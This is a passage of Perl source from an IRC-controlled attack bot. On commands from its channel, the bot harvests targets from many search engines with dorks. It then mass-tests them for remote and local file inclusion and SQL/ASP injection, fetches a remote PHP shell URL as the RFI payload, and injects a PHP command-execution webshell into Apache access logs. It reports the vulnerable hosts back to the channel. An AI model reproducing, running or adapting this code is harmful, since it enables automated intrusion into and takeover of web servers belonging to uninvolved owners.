sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Area : 3 ".$area." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 $zip 3is not a valid ZIP code. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Cannot open www.ZIPInfo.com "); }
}
exit;
}}
#####################################################################
###############################[ RFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
###############################[ LFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ sql ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ asp ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##################################################################### Apache Log Injection
if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
&injectlog($1,$2);
}
exit;
}
}

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

##################################################################### Procedure

sub injectlog() {
my $host = $_[0];
my $port = $_[1];
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 12 Injecting 7 ".$host.":".$port." 12Apache Access Log ... ");
my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 4 Cant Connect to 7 ".$host.":".$port." ");
print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12is Done ... ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Parameter -> 3 c0li ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Identifier -> 3 JATIMCOM ");
}
#################################################

sub rfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean=&calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14RFI 10)( 3@ 14$engz 10) 10 Total: 14 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Exploiting 14 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$injector."?";
my $vuln = "http://".$target." 12".$bugz." 7".$phpshell."? ";
my $re = getcontent($xpl);
if($re =~ /$rfi_result/ && $re =~ /uid=/){
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-OFF 10) ");
}
elsif($re =~ /$rfi_result/)
{
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-ON 10) ");
}
}
}
#################################################

sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Total: 4 (".scalar(@total).") 12 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Exploiting 4 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$lfi_test;
my $vuln = "http://".$target." 12".$bugz." 7".$lfi_test." ";
my $re = getcontent($xpl);
if ($re =~ /$lfi_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 15( 7@ 3JATIMCOM 15) ");
}
}
}
#################################################

sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Exploiting 14 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 10".$bugz." 14[SQL] ";
my $re = getcontent($xpl);
if ($re =~ /$sql_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14SQL 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub aspscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Exploiting 10 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 19".$bugz." 14[ASP] ";
my $re = getcontent($xpl);
if ($re =~ /$asp_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14ASP 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub os() {
my $site = $_[0];
my $re = &query($site);
while ($re =~ m/<br>os:(.+?)<br>/g) {
$os = $1;
if ($1 =~ //) { $os = "Unkn0wN"; }
}
}
#################################################

sub response() {
my $re = getcontent($injector);
if ($re =~ /pZLNd8MwEITvg/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3MANTAP JAYA 10 » ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3BOSOK 10 » ");
}
}
#################################################

sub getcontent() {
$url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}
#################################################

sub google(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub alltheweb() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=100) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
#################################################

sub uol() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub Bing() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
my $Res = query($bing);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live|bing/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub altavista(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub ask() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=10) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub lycos() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=10) {
my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
my $Res = query($lyc);
while ($Res =~ m/href=\"http:\/\/(.+?)\" >/g) {
if ($1 !~ /lycos/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub goodsearch() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
my $Res = query($goods);
while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
if ($2 !~ /goodsearch/){
my $k = $2;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub yahoo() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
my $Res = query($yahoo);
while ($Res =~ m/26u=(.*?)%26w=/g) {
if ($1 !~ /yahoo/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
#################################################

sub key() {
my $dork = $_[0];
